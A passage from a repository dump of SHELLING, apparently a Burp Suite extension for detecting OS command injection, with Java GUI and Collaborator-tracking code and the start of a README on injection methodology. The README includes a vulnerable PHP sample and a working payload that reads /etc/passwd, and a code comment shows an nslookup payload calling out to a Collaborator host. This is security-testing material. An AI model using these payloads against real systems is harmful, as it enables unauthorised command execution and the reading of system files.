 if(terminatorList.getSelectedIndex()!=-1)\n        {\n            ArrayList<String> toRemove = new ArrayList<>();\n            int indices[]=terminatorList.getSelectedIndices();\n            for(int i=0;i<indices.length;i++)\n            {\n                toRemove.add((String)terminatorList.getModel().getElementAt(indices[i]));\n            }\n            for(int i=0;i<toRemove.size();i++)\n            {\n                removeFromListData(terminatorList,toRemove.get(i));\n            }\n        }\n    }//GEN-LAST:event_removeTerminatorButtonActionPerformed\n\n    private void addTerminatorButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_addTerminatorButtonActionPerformed\n        // TODO add your handling code here:\n        String val = addTerminatorField.getText();\n        if(editorFormat==\"HEX\")\n        {\n            val=val.replaceAll(\"[^\\\\da-f]\",\"\");\n\n            // make sure the number of characters is even\n            int len=val.length();\n            if(len%2==0)\n            {\n                // add the string to the list\n                String n[]={val};\n                appendListData(terminatorList,n);\n                addTerminatorField.setText(\"\");\n            }\n        }\n        else\n        {\n            String n[]={val};\n            appendListData(terminatorList,n);\n            addTerminatorField.setText(\"\");\n        }\n    }//GEN-LAST:event_addTerminatorButtonActionPerformed\n\n    private void terminatorASCIIFormatActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_terminatorASCIIFormatActionPerformed\n\n        if(editorFormat==\"ASCII\") return;\n\n        terminatorHexFormat.setSelected(false);\n        terminatorASCIIFormat.setSelected(true);\n\n        editorFormat=\"ASCII\";\n\n        // now, we have to go through the list and convert each element\n        //\n        // also, in such case we want to make sure this toggle is only activated once\n        // breakupList\n        // iterate and convert from hex to ascii\n        // convert all from ASCII to HEX\n\n        ListModel terminatorListModel = terminatorList.getModel();\n        String newValues[] = new String[terminatorListModel.getSize()];\n        for(int i=0;i<terminatorListModel.getSize();i++)\n        {\n            String hex=terminatorListModel.getElementAt(i).toString();\n            StringBuilder output = new StringBuilder();\n            for (int j = 0; j < hex.length(); j+=2)\n            {\n                String str = hex.substring(j, j+2);\n                output.append((char)Integer.parseInt(str, 16));\n            }\n            newValues[i]=output.toString();\n            // now, we convert it from ASCII to HEX\n            //brutDocrootSuffixes.add(suffix);\n        }\n        terminatorList.setListData(newValues);\n        /*\n        String hex;\n        */\n    }//GEN-LAST:event_terminatorASCIIFormatActionPerformed\n\n    private void terminatorHexFormatActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_terminatorHexFormatActionPerformed\n        switchToHex();\n\n    }//GEN-LAST:event_terminatorHexFormatActionPerformed\n\n    private void includeLiteralWhitesActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_includeLiteralWhitesActionPerformed\n        // TODO add your handling code here:\n        if(includeLiteralWhites.isSelected()==true)\n        {\n            smart400Avoidance.setEnabled(true);\n        }\n        else\n        {\n            smart400Avoidance.setEnabled(false);\n        }\n    }//GEN-LAST:event_includeLiteralWhitesActionPerformed\n    protected void switchToHex()\n    {\n        if(editorFormat==\"HEX\") return;\n        terminatorHexFormat.setSelected(true);\n        terminatorASCIIFormat.setSelected(false);\n\n        editorFormat=\"HEX\";\n\n        // convert all from ASCII to HEX\n        ListModel terminatorListModel = terminatorList.getModel();\n        String newValues[] = new String[terminatorListModel.getSize()];\n        for(int i=0;i<terminatorListModel.getSize();i++)\n        {\n            String currval=terminatorListModel.getElementAt(i).toString();\n            String newVal=\"\";\n            for(int j=0;j<currval.length();j++)\n            {\n                char currChar = currval.charAt(j);\n                String hex = Integer.toHexString(currChar);\n                newVal+=hex;\n            }\n            newValues[i]=newVal;\n            // now, we convert it from ASCII to HEX\n            //brutDocrootSuffixes.add(suffix);\n        }\n        terminatorList.setListData(newValues);        \n    }\n    private void disableAuto()\n    {\n        this.mode=\"manual\";\n        this.commandField.setEnabled(true);\n        this.argumentField.setEnabled(true);\n                \n        this.payloadMarkingBox.setEnabled(true);\n        this.feedbackChannelCombo.setEnabled(false);\n        \n        updatePayloadMarkingHolder();        \n    }\n    private void enableAuto()\n    {\n        this.mode=\"auto\";\n        this.commandField.setEnabled(false);\n        this.argumentField.setEnabled(false);               \n        this.feedbackChannelCombo.setSelectedIndex(0); // preferred, but not enforced setting\n        \n        this.payloadMarkingBox.setSelected(true);\n        this.payloadMarkingBox.setEnabled(false);      // for all applicable feedback channels (currently only one supported)\n        this.feedbackChannelCombo.setEnabled(true);\n        \n        updatePayloadMarkingHolder();\n    }\n    private void flushThetracker() // used to initiate and reset (if requested by the user manually) the session tracker\n    {\n        this.collabClient = SHELLING.callbacks.createBurpCollaboratorClientContext();\n        this.collabSessions = new ArrayList<collabSession>(); // consider providing the ability to reset this object if needed - another way to achieve this will be to reload the plugin        \n    }\n    public void checkCollabInteractions(boolean manual)\n    {\n        // don't run this more often than once in 30 seconds\n        long currentTimestamp = System.currentTimeMillis();        \n        if(manual==false)\n        {            \n            // from seconds to miliseconds\n            long limit = 1000*this.collabSessionCheckThreshold; \n            long delta = currentTimestamp-this.lastCollabSessionCheck;\n            // check if last checkCollabInteractions() happened within last than 30 seconds\n            if(delta<limit) \n            {\n                logDebug(\"Supressing a checkCollabInteractions() call (last check was done \");\n                return;\n            }\n        }\n        this.lastCollabSessionCheck=currentTimestamp; // we pass and we update the last session check\n        //logOutput(\"\\n[+] Collaborator interaction check [this check runs even if the current mode is manual].\");\n        logOutput(\"[+] The number of tracked collab sessions is right now \"+this.collabSessions.size()); // let's leave this information out there all the time, even if verbose == false\n        // only DNS interactions are supported at the moment\n        // now, we decided to generate a unique burp collaborator ID per attack (this is simpler than an additional level of encapsulation in the payload itself, which is already way too long)\n        // hence, we are going to fetch for all the interactions every time, one after another\n        List<IScanIssue> report = null;\n        List<IBurpCollaboratorInteraction> collabInter=null;\n        Iterator<IBurpCollaboratorInteraction> collabInterItr;\n        \n        collabInter = this.collabClient.fetchAllCollaboratorInteractions();\n        \n        Map<String, ArrayList> validPayloads = new HashMap<String, ArrayList>();\n                \n        // validPayloads.get(\"collabId.burpcollaborator.net\").add(\";nslookup$IFS$9a23.collabId.burpcollaborator.net;\"); // this is the expected result        \n\n        // now we just iterate over all the interactions - and then search through our collabSessions\n        if(collabInter.size()>0) \n        {                 \n            //if interaction(s) were found from the current poll request, add all to overall list and continue\n            collabInterItr = collabInter.iterator();\n                \n            report = new ArrayList<IScanIssue>();\t\n               \n            IBurpCollaboratorInteraction inter;\n            // OK, now we read all of them\n            while(collabInterItr.hasNext())\n            {            \n                inter = collabInterItr.next();\n                if(inter.getProperty(\"raw_query\")==null) continue; // at this point we ingore all other interactions as DNS is the only one we are interested in\n                // This method is used to retrieve a property of the interaction. \n                // Properties of all interactions are: interaction_id, type, client_ip, and time_stamp. \n                // Properties of DNS interactions are: query_type and raw_query. The raw_query value is Base64-encoded. \n                // Properties of HTTP interactions are: protocol, request, and response. \n              \n                // The request and response values are Base64-encoded\n                logDebug(\"[+] Received a Collaborator interaction.\");\n                                \n                // fuck, we're gonna have to match against the loc ourselves, it cannot be directly retrieved from the iterator!\n                \n                byte[] collabQuery = SHELLING.callbacks.getHelpers().base64Decode(inter.getProperty(\"raw_query\"));\n            \n                // NOW, WHAT FOLLOWS IS THE UGLIEST SCULPTURE I HAVE EVER CODED:           \n                // logOutput(\"[+] Raw query (base 64): \"+inter.getProperty(\"raw_query\"));\n            \n                String rawS = SHELLING.callbacks.getHelpers().bytesToString(collabQuery);\n                logDebug(\"[+] Raw query (clear): \"+rawS);\n                byte[] trimed = new byte[collabQuery.length-16];\n                for(int i=13;i<collabQuery.length-3;i++)\n                {\n                    trimed[i-13]=collabQuery[i];\n                }\n                String collabQueryS = SHELLING.callbacks.getHelpers().bytesToString(trimed);\n                logDebug(\"[+] Trimed query: \"+collabQueryS);   \n                byte[] t = new byte[1];\n                t[0]=(byte)0x1e; // Record Separator            \n                String parts[] = collabQueryS.trim().split(SHELLING.callbacks.getHelpers().bytesToString(t));\n                            \n                    \n                if(parts.length>1) // if there was a record (subdomain) in the hostname - which suggests the payload comes from our payload marking mechanisms, as I have not seen anyone else using this feature this way\n                {\n                    String payloadIndexS=\"0\";\n                    String pLoc=\"\";\n                    payloadIndexS=parts[0];                               \n                    pLoc=parts[1];                    \n                    String collabLocID = parts[1].substring(0,30);\n                    \n                    logDebug(\"[+] Payload index:\"+payloadIndexS);\n                    logDebug(\"[+] Collab location:\"+collabLocID);\n                                                            \n                    if(payloadIndexS.startsWith(\"a\")) payloadIndexS = payloadIndexS.replace(\"a\",\"\"); // we use markers starting with \"a\" when $IFS$9 is used\n                    // we use $IFS$9 because we need to separate the IFS variable name from an argument\n                    // otherwise ping$IFSlocalhost would not work ($IFSlocalhost would be taken as a bash variable)\n                    // so we use $9 to separate $IFS from the argument, but for the same exact reason an argument starting with a digit (like a marked domain name, e.g. 4.<collabLoc>.burpcollaborator.net) would fail as well\n                    // so we have to prepend the marker with an alphanumeric character (\"a\" was a good candidate) to solve the same problem\n\n                    logDebug(\"[+] Searching for \"+collabLocID+\" in our sessions (iterating overall the whole set, starting with the most recent one)...\");\n                    \n                    // we NEED to have a HashMap<collabID> with payloads that have worked for each single separate collabID\n                    // there is no way to guarantee the order of the events coming\n                    // and don't want to miss any if more are avaiable\n                    // while not issuing duplicates either\n                    \n                    // so, we need to collect the feedback (the list of valid payloads) for every single recognized collabId separately, into a separate bucket\n                    // and once all the collab interactions are processed, we pop the aggregated results by calling addScanIssue().\n                    \n                    boolean found=false;\n                    ArrayList<String> payloads = new ArrayList<>(); // \n                    for(int i=this.collabSessions.size()-1;i>-1;i--)\n                    {\n                        logDebug(\"[+] Checking \"+this.collabSessions.get(i).collabLoc+\"...\");\n                        if(this.collabSessions.get(i).collabLoc.startsWith(collabLocID)) // match found!\n                        {\n                            found=true;\n                            logDebug(\"[+] MATCH! We have a finding, sir!\");                            \n                            logDebug(\"[+] Payload was generated at \"+this.collabSessions.get(i).getCreated()+\" to feed the \"+this.collabSessions.get(i).action);                            \n                            /// we can also extract the payload if full payload tracking is on\n                            // now, gather all the information required to pop this issue up using callbacks.addScanIssue()\n                            int payloadIndex  = Integer.parseInt(payloadIndexS); \n                            payloadIndex-=1;    // payload marker was using arrays starting at 1... \"I don't have strong opinions on anything\" hehe\n                            if(validPayloads.get(collabLocID)==null) // first entry, we have to create the object\n                            {\n                                logDebug(\"[+] Saved the interaction into a new bucket created for \"+collabLocID+\".\");                            \n                                ArrayList<String> arr = new ArrayList<String>(); \n                                // we are getting a null pointer here (getShellingsRaw(), because... well, this thing is filled AFTER the first exhaustion of all its payloads\n                                // soo, if it's null, it means the payloads come from the current generator...\n                                // so that last generator pointer was kinda useful \n                                // how about a pointer to the last payload set instead?\n                                \n                                // right, we have payloads for generatePayloads... not the same thing uh\n                                if(this.collabSessions.get(i).getShellingsRaw()==null)\n                                { // current payloads have not been propagated yet, the session is still ongoing\n                                    // try to use curr_generator payloads instead                                    \n                                    arr.add(this.curr_generator.shellings.get(payloadIndex));  \n                                }\n                                else\n                                {\n                                    arr.add(this.collabSessions.get(i).getShellingsRaw().get(payloadIndex));    \n                                }                                                                                                    \n                                validPayloads.put(collabLocID,arr);\n                            }\n                            else\n                            {\n                                if(this.collabSessions.get(i).getShellingsRaw()==null)\n                                {\n                                    validPayloads.get(collabLocID).add(this.curr_generator.shellings.get(payloadIndex));\n                                }\n                                else\n                                {\n                                    validPayloads.get(collabLocID).add(this.collabSessions.get(i).getShellingsRaw().get(payloadIndex));                                                                        \n                                }\n                                logDebug(\"[+] Added the interaction into an already existing bucket for \"+collabLocID+\".\");                            \n                            }\n                            \n                        }\n                    }                  \n                    if(!found) \n                    {\n                        logDebug(\"[+] Could not match this interaction with any registered Collaborator session... Maybe the plugin was reloaded since the scan was initiated? Inspect manually.\");                    \n                        // in this case we also need to pop up a finding, this is too important to miss (again, an \"unknown/unexpected collaborator interaction).\n                    }\n                    \n                }                                                    \n                else // no valid payload mark was spotted in the queried domain name\n                {\n                    // OK, at this point we are also getting here lookups that do NOT contain subdomains but are definitely matching\n                    // we have to detect them (parse out the domain and match it with the sessions loc list) and silently ignore them if this is a pattern (dummy collaborator event)\n                    for(int i=0;i<this.collabSessions.size();i++)\n                    {\n                        if(collabQueryS==this.collabSessions.get(i).collabLoc)\n                        {\n                            logDebug(\"Seems like a dummy session for \"+collabQueryS+\", this warning will be supressed in the future if proven to only accompany actual finding events (lookups with the correct payload mark) that are reported and recognized.\");   \n                            // this should, however, only be supressed if we already hit issues for this particular collabLoc (just create an array of strings and push the locs if issues were raised or sth)\n                            //\n                        }\n                        else\n                        {\n                            logDebug(\"Query not recognized as originating from SHELLING! Please investigate manually.\\n\"); // these, in turn, should be used to create a separate scanner issue - just to avoid staying unnoticed (hey, we received some weird collaborator event)\n                        }\n                    }\n                    \n                }            \n            }\n            \n            for (String key : validPayloads.keySet()) \n            {\n                ArrayList<String> payloads = validPayloads.get(key);                \n                if(payloads.size()==0)\n                {\n                    logOutput(\"[+] ERROR: An empty payload bucket encountered for \"+key+\"! This should never happen!\");\n                }\n                else\n                {\n                    boolean found=false;\n                    for(int i=0;i<this.collabSessions.size();i++)\n                    {                        \n                        logOutput(\"Comparing \"+key+\" with \"+this.collabSessions.get(i).collabLoc+\".\");                \n                        if(key.equals(this.collabSessions.get(i).collabLoc))\n                        {\n                            found=true;\n                            // grab the details (collabLocId, created at, reported at at (current time)\n                            logDebug(\"[+] The \"+key+\" payload bucket has been found, a new Scanner issue incoming!\");\n                            String details = \"A potential OS command injection was detected using DNS as the feedback channel.<br>\";\n                            details+=\"This finding was captured from a collabortor DNS interaction (session \"+key+\") initiated at <b>\"+  this.collabSessions.get(i).getCreated()+\"</b> for the following tool: <b>\"+this.collabSessions.get(i).action+\"</b>.<br><br>\";\n                        \n                            // we can actually try to attempt to use current generator to establish this, if possible\n                            // interactinos caught later will not have the insertion point identified unless we start tracking that somehow too, without killing the memory\n                            // assemble all the payloads into one description\n                            String payloadsList=\"The following payloads have successfully penetrated the input:<ul>\";\n                            for(int j=0;j<payloads.size();j++)\n                            {\n                                payloadsList+=\"<li>\"+payloads.get(j)+\"</li>\"; // we should find a more optimum way, like a join(\"\\n\")                            \n                                // also, might be a good idea to ship the payload index too - payloads with white/non-printable literals might be hard to identify\n                            }\n                            details+=payloadsList+\"</ul><br><br>\";\n                            details+=\"Insertion point name: <b>\"+this.collabSessions.get(i).insertionPointName+\"</b><br>\";\n                            if(this.collabSessions.get(i).baseReqRes==null)\n                            {\n                                details+=\"Please keep in mind this tracking session was created for a payload export session, hence Burp is not able to provide the vulnerable request, as it came from an external client instead of Scanner/Intruder.<br>\";\n                            }\n                            else\n                            {                                                                                            \n                                details+=\"Please keep in mind that the provided HTTP request is the BASE request (the one sent to Scanner/Intruder), NOT the actually vulnerable request (the memory/performance cost of asynchronous issue tracking).<br>\";                                                                \n                            }\n                            // grab the baseReqResp\n                            logDebug(\"[+] Adding a new Scan Issue, baby!\");\n                            SHELLING.callbacks.addScanIssue(new BinaryPayloadIssue(SHELLING.callbacks,this.collabSessions.get(i).baseReqRes,details,\"DNS\"));                                                \n                            // add it\n                            break; // from this loop\n                        }\n                    }\n                    if(!found) logOutput(\"[+] ERROR! Weird, no matching sessions were found for \"+key+\"... This should never happen.\");    \n                }\n                \n            }                       \n        }               \n    } // end of the method\n    \n    protected int collabSessionID(String collabLocation)\n    {        \n        for(int i=this.collabSessions.size()-1;i>-1;i--)\n        {\n            if(this.collabSessions.get(i).collabLoc==collabLocation)\n            {\n                return i;\n            }\n        }\n        return -1;\n    }\n    public void logOutput(String msg)\n    {\n        //this.logOutput.append(msg);\n        stdout.println(msg);\n    }\n    public void logDebug(String msg) // only called when verboseOutput == true\n    {\n        if(this.verboseOutput==true)\n        {\n            logOutput(msg);\n        }\n    }\n    \n    // Variables declaration - do not modify//GEN-BEGIN:variables\n    private javax.swing.JButton addTerminatorButton;\n    private javax.swing.JTextField addTerminatorField;\n    private javax.swing.JPanel advancedPanel;\n    protected javax.swing.JLabel advancedPayloadLabel;\n    protected javax.swing.JCheckBox argInjectionCheckBox;\n    protected javax.swing.JTextField argumentField;\n    protected javax.swing.JCheckBox basePayloadCheckBox;\n    protected javax.swing.JCheckBox bruteArgInjections;\n    private javax.swing.ButtonGroup buttonGroup1;\n    private javax.swing.ButtonGroup buttonGroup2;\n    protected javax.swing.JComboBox<String> byteGeneratorRangeCombo;\n    private javax.swing.JButton checkForInteractions;\n    protected javax.swing.JTextField commandField;\n    protected javax.swing.JRadioButton customArgBruteRange;\n    protected javax.swing.JTextField customCharacterRange;\n    protected javax.swing.JRadioButton defaultArgBruteRange;\n    private javax.swing.JSpinner delayTimeSpinner;\n    protected javax.swing.JCheckBox doCommandInjection;\n    protected javax.swing.JCheckBox doTerminalInjection;\n    protected javax.swing.JCheckBox eightBasePayloadCheckBox;\n    protected javax.swing.JList<String> encodeList;\n    private javax.swing.JComboBox<String> encodingsToUse;\n    protected javax.swing.JComboBox<String> feedbackChannelCombo;\n    protected javax.swing.JCheckBox fifthBasePayloadCheckBox;\n    protected javax.swing.JCheckBox fixedArguments;\n    private javax.swing.JButton flushTheTrackerButton;\n    protected javax.swing.JCheckBox fourthBasePayloadCheckBox;\n    public javax.swing.JCheckBox includeLiteralWhites;\n    public javax.swing.JCheckBox includeThePooComboBox;\n    protected javax.swing.JCheckBox injectAdditionalArguments;\n    protected javax.swing.JCheckBox injectFileCheckBox;\n    protected javax.swing.JCheckBox injectHTTPCheckBox;\n    protected javax.swing.JCheckBox injectSmbCheckBox;\n    protected javax.swing.JCheckBox injectUncCheckBox;\n    private javax.swing.JButton jButton4;\n    private javax.swing.JCheckBox jCheckBox5;\n    private javax.swing.JLabel jLabel1;\n    private javax.swing.JLabel jLabel10;\n    private javax.swing.JLabel jLabel11;\n    private javax.swing.JLabel jLabel13;\n    private javax.swing.JLabel jLabel2;\n    private javax.swing.JLabel jLabel3;\n    private javax.swing.JLabel jLabel4;\n    private javax.swing.JLabel jLabel5;\n    private javax.swing.JLabel jLabel6;\n    private javax.swing.JLabel jLabel7;\n    private javax.swing.JLabel jLabel8;\n    private javax.swing.JLabel jLabel9;\n    private javax.swing.JPanel jPanel1;\n    private javax.swing.JPanel jPanel2;\n    private javax.swing.JPanel jPanel3;\n    private javax.swing.JPanel jPanel4;\n    private javax.swing.JPanel jPanel5;\n    private javax.swing.JPanel jPanel6;\n    private javax.swing.JScrollPane jScrollPane1;\n    private javax.swing.JScrollPane jScrollPane3;\n    protected javax.swing.JTabbedPane jTabbedPane1;\n    private javax.swing.JCheckBox manualModeCheckBox;\n    protected javax.swing.JCheckBox osSpecificTerminators;\n    private java.awt.Panel panel1;\n    public javax.swing.JCheckBox payloadMarkingBox;\n    private javax.swing.JButton removeEncoding;\n    private javax.swing.JButton removeTerminatorButton;\n    private javax.swing.JButton saveToClipBoardButton;\n    private javax.swing.JButton saveToFileButton;\n    protected javax.swing.JCheckBox scannerChecksBox;\n    protected javax.swing.JCheckBox secondBasePayloadCheckBox;\n    protected javax.swing.JCheckBox seventhBasePayloadCheckBox;\n    protected javax.swing.JCheckBox sixthBasePayloadCheckBox;\n    public javax.swing.JCheckBox smart400Avoidance;\n    public javax.swing.JCheckBox stopAllRunningScans;\n    protected javax.swing.JComboBox<String> targetOSCombo;\n    protected javax.swing.JRadioButton terminatorASCIIFormat;\n    protected javax.swing.JRadioButton terminatorHexFormat;\n    protected javax.swing.JList<String> terminatorList;\n    protected javax.swing.JCheckBox thirdBasePayloadCheckBox;\n    protected javax.swing.JCheckBox uncPathsCheckBox;\n    protected javax.swing.JCheckBox useNullByte;\n    protected javax.swing.JCheckBox useTerminatorsCheckBox;\n    private javax.swing.JCheckBox verboseOutputCheckBox;\n    // End of variables declaration//GEN-END:variables\n}\n"
  },
  {
    "path": "Java/src/uk/co/pentest/SHELLING/ShellingTab.java",
    "content": "package uk.co.pentest.SHELLING;\r\n\r\nimport burp.ITab;\r\nimport java.awt.Color;\r\nimport java.util.Objects;\r\nimport javax.swing.JTabbedPane;\r\nimport javax.swing.event.ChangeEvent;\r\n\r\npublic class ShellingTab implements ITab {\r\n    public ShellingPanel2 shellingPanel = new ShellingPanel2();\r\n    Integer tabIndex;\r\n    JTabbedPane tabPane;\r\n    \r\n    public void findTab() {\r\n        if(tabIndex != null)\r\n            return;\r\n        tabPane = (JTabbedPane) shellingPanel.getParent();\r\n        if(tabPane == null)\r\n            return;\r\n        for(int i = 0; i < tabPane.getTabCount(); i++)\r\n            if(Objects.equals(tabPane.getTitleAt(i), getTabCaption()))\r\n                tabIndex = i;\r\n        tabPane.addChangeListener((ChangeEvent e1) -> {\r\n            if(tabPane.getSelectedIndex() == tabIndex)\r\n                tabPane.setBackgroundAt(tabIndex, Color.BLACK);\r\n        });\r\n    }\r\n\r\n    void alertTab() {\r\n        tabPane.setBackgroundAt(tabIndex, new Color((float) 0.894, (float) 0.535, (float) 0.0));\r\n    }\r\n    \r\n    @Override\r\n    public String getTabCaption() {\r\n        return \"SHELLING\";\r\n    }\r\n\r\n    @Override\r\n    public ShellingPanel2 getUiComponent() {        \r\n        return shellingPanel;\r\n    }\r\n    \r\n}\r\n"
  },
  {
    "path": "Java/src/uk/co/pentest/SHELLING/SimpleDocumentListener.java",
    "content": "package uk.co.pentest.SHELLING;\r\n\r\nimport javax.swing.event.DocumentEvent;\r\nimport javax.swing.event.DocumentListener;\r\n\r\n/**\r\n * A simplified version of DocumentListener that fires changedUpdate for all\r\n * events.\r\n */\r\npublic abstract class SimpleDocumentListener implements DocumentListener {\r\n    @Override\r\n    public void insertUpdate(DocumentEvent evt) {\r\n        changedUpdate(evt);\r\n    }\r\n\r\n    @Override\r\n    public void removeUpdate(DocumentEvent evt) {\r\n        changedUpdate(evt);\r\n    }    \r\n}\r\n"
  },
  {
    "path": "Java/src/uk/co/pentest/SHELLING/collabSession.java",
    "content": "/*\n * To change this license header, choose License Headers in Project Properties.\n * To change this template file, choose Tools | Templates\n * and open the template in the editor.\n */\npackage uk.co.pentest.SHELLING;\n\nimport burp.IHttpRequestResponse;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.Date;\n\n/**\n *\n * @author julian\n */\npublic class collabSession {\n    protected int ID;\n    protected String config; // could store it in a similar manner CVSS is interpreted\n    protected String action;\n    protected static int count=0;\n    protected String created;\n    protected String insertionPointName;\n    protected String collabLoc;\n    protected IHttpRequestResponse baseReqRes;\n    protected ArrayList<String> shellings_raw;\n    // would be really nice to save the configuration for the given section\n    // this would allow to trace the asonchronous cases from Intruder better   \n    // but about saving the entire payload set instead?\n    \n    public collabSession(String loc, String act, IHttpRequestResponse value, String paramName)\n    {\n        this.collabLoc=loc.substring(0,30); // we only need first 30 chars\n        this.ID=this.count++;\n        this.action=act;\n        this.created = new SimpleDateFormat(\"yyyy.MM.dd HH:mm:ss\").format(new Date());        \n        this.insertionPointName=paramName;\n        this.setReqResp(value);\n    }\n    public void setReqResp(IHttpRequestResponse value)\n    {\n        this.baseReqRes=value;\n    }\n    public String getLoc()\n    {\n        return this.collabLoc;\n    }\n    public String getCreated()\n    {\n        return this.created;\n    }\n    // we want to store this in the session tracker for the sake of accuracy\n    public void setShellingsRaw(ArrayList raw)\n    {\n        this.shellings_raw=raw;\n    }\n    public void setCount(int c)\n    {\n        this.count=c;\n    }\n    public ArrayList<String> getShellingsRaw()\n    {\n        return this.shellings_raw;\n    }\n    public void setInsertionPointName(String n)\n    {\n        this.insertionPointName=n;\n    }\n    public String getInsertionPointName()\n    {\n        return this.insertionPointName;\n    }\n }\n"
  },
  {
    "path": "README.md",
    "content": "Original work by: Julian H. https://github.com/ewilded/shelling\n\n# SHELLING - a comprehensive OS command injection payload generator\n# An OLDER version is currently available in the Burp App Store as Command Injection Attacker. The current version (available here) has already been submitted to the Bapp Store and should be released there soon.\n\n![Logo](logo.png?raw=true)\n# What is SHELLING?\nThis project revolves around detecting OS command and argument injection flaws (not limited to web applications). \n\nIts main objectives are:\n* provide methodology for the OS command injection detection\n* provide software implementating this methodology\n\n# How this document is organised\nThis documentation is divided into two separate sections:\n* The first section provides the methodology and results of the OS command and argument injection research conducted for the needs of this project.\n* The second section describes current and future tool's capabilities and usage.\n\n\n# Table of contents - OS command injection\n* [Identifying possible reasons of getting false negatives](#identifying-possible-reasons-of-getting-false-negatives)\n\t* [The syntax problem](#the-syntax-problem)\n\t* [The problem of input-sanitizing mechanisms](#the-problem-of-input-sanitizing-mechanisms)\n\t\t* [Bad characters](#bad-characters)\n\t\t\t* [Argument separators trickery](#argument-separators-trickery)\n\t\t\t* [Command separators trickery](#command-separators-trickery)\n\t\t\t* [More witchcraft](#more-witchcraft)\n\t\t\t* [String separators](#string-separators)\n\t\t* [Regular expressions](#regular-expressions)\n\t* [Platform-specific conditions](#platform-specific-conditions)\n\t* [The problem of the feedback channel](#the-problem-of-the-feedback-channel)\n\n# Table of contents - the tool\n* [User interface](#user-interface)\n* [Using the tool](#using-the-tool)\n\t* [Feedback channels](#feedback-channels)\n\t\t* [DNS](#dns)\n\t\t* [time](#time)\n\t* [Payload marking](#payload-marking)\n\t* [Difference between manual and automatic mode](#difference-between-manual-and-automatic-mode)\n\t\t* [The auto mode](#the-auto-mode)\n\t\t* [The manual mode](#the-manual-mode)\n\t* [Different approaches to using this tool](#different-approaches-to-using-this-tool)\n\t* [Scanner](#scanner)\n\t* [Intruder](#intruder)\n\t\t* [Intruder in auto mode - Collaborator integration!](#intruder-in-auto-mode)\n\t\t* [Intruder in manual mode](#intruder-in-manual-mode)\n\t* [Export](#export)\n\t* [Byte generator](#byte-generator)\n\t* [Experimental injection modes](#experimental-injection-modes)\n* [Problems and future improvements](#problems-and-future-improvements)\n* [Test cases, real cases](#some-case-examples)\n\n# Other projects and special thanks\n* [Other recommended tools, projects and special thanks](#tools-i-recommend-using-not-only-in-tandem-with-shelling-but-generally)\n\n\n\n# Identifying possible reasons of getting false negatives\n\nProblems to face when creating OS command injection payloads:\n* the eventual syntax of the expression we are injecting into (e.g. quoted expressions)\n* input sanitizing mechanisms rejecting individual characters (e.g. spaces)\n* platform-specific conditions (e.g. there is no \"sleep\" on windows)\n* callback method (e.g. asynchronous execution, no outbound traffic allowed)\n\nThe purpose of creating this tool was to reach the non-trivial OS command injection cases, which stay undetected by generally known and used tools and sets of payloads. \n\n\n## The syntax problem\n\nLet's consider the following vulnerable PHP script:\n```\n    <?php\n    \tif(isset($_GET['username'])) echo shell_exec(\"echo '{$_GET['username']}'>>/tmp/users.txt\");\n    ?>\n```\nWhat makes this case different from the most common and obvious cases of OS command injection is the fact that the user-controlled variable is injected between single quotes in the final expression passed to the shell_exec function. Hence, one of the most obvious OS command injection test cases, like\n`http://localhost/vuln.php?username=;cat /etc/passwd;` would result in the expression being evaluated to echo `';cat /etc/passwd;'`. \nSo, instead of executing the command, the entire user input is written into the /tmp/users.txt file.\n\nThis particular payload leads to a false negative in this particular case, as it does not fit the target expression syntax in a way that would make shell_exec function treat it as a system command. Instead, the payload is still treated as an argument to the echo command.\nIn order to properly inject into this particular command, we need to jump out from the quoted expression in the first place. If we simply try payload like `';cat\n/etc/passwd;`, the expression would evaluate to echo `'';cat /etc/passwd;'`, we would still get a false negative due to unmatched quoted string following the command we injected.\n\nA payload fitting to this particular syntax should look like `';cat /etc/passwd;'`:\n`http://localhost/vuln.php?username=%27;cat /etc/passwd;%27`, making the final expression to look like echo `'';cat /etc/passwd;''`.\n\nAnd the output is (the injection is working):\n\n    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n    bin: [...]\n\nThis is just one of the examples of how the syntax of the target injectable expression affects the results. The solution to this problem is a good list of vulnerable syntax-varied cases, as we have to guess as many syntax-dependant cases as possible.\nFor the rest of this write-up, let’s use the following legend:\n\n- OS_COMMAND = the name of the remote binary we want to execute, e.g. `ping`\n- ARGUMENT = the argument of the command we want to execute, e.g.`collaborator.example.org`\n- ARGUMENT_SEPARATOR = string between the OS_COMMAND and the ARGUMENT, e.g. ` ` (a space)\n- FULL_COMMAND=`OS_COMMAND+ARGUMENT_SEPARATOR+ARGUMENT`\n- COMMAND_SEPARATOR = a string that separates multiple commands from each other, required for successful injection in most cases (e.g. `&` or `|`)\n- COMMAND_TERMINATOR = a sequence which, if injected into a string, enforces the remote system to ignore the remainder of that string (everything that follows the terminator), e.g. `#` on nix (bash) or '::' on win\n\nSo, the following list of syntax patterns was created:\n- `FULL_COMMAND` - when command is directly injected into an expression\n- `FULL_COMMAND+(COMMAND_TERMINATOR or COMMAND_TERMINATOR)` - when the command is directly injected into the beginning of the expression and then it is appended with some arguments/other commands\n- `COMMAND_SEPARATOR + FULL_COMMAND` - when command is appended as an argument of a command hardcoded in the expression\n- `COMMAND_SEPARATOR + FULL_COMMAND + COMMAND_SEPARATOR` - when the command is appended as an argument to a command hardcoded in the expression AND appended with some arguments/other commands\n\nAdditionally, all the above combinations need corresponding versions targeted at quoted expressions.\nSingle quotes:\n- `'FULL_COMMAND'`\n- `'FULL_COMMAND+(COMMAND_TERMINATOR or COMMAND_TERMINATOR)'`\n- `'COMMAND_SEPARATOR + FULL_COMMAND'`\n- `'COMMAND_SEPARATOR+ FULL_COMMAND + COMMAND_SEPARATOR'`\n\nDouble quotes:\n- `“FULL_COMMAND”`\n- `“FULL_COMMAND+(COMMAND_TERMINATOR or COMMAND_TERMINATOR)”`\n- `“COMMAND_SEPARATOR+ FULL_COMMAND”`\n- `“COMMAND_SEPARATOR+ FULL_COMMAND +COMMAND_SEPARATOR”`\n\n\n## The problem of input-sanitizing mechanisms\n\n### Bad characters\nAs it is generally known, blacklist-based approach is a bad security practice. In most cases, sooner or later the attackers find a way around the finite defined list of payloads/characters that are forbidden. Instead of checking if the user-supplied value contains any of the bad things we predicted (e.g. `&` or `;` characters), it's 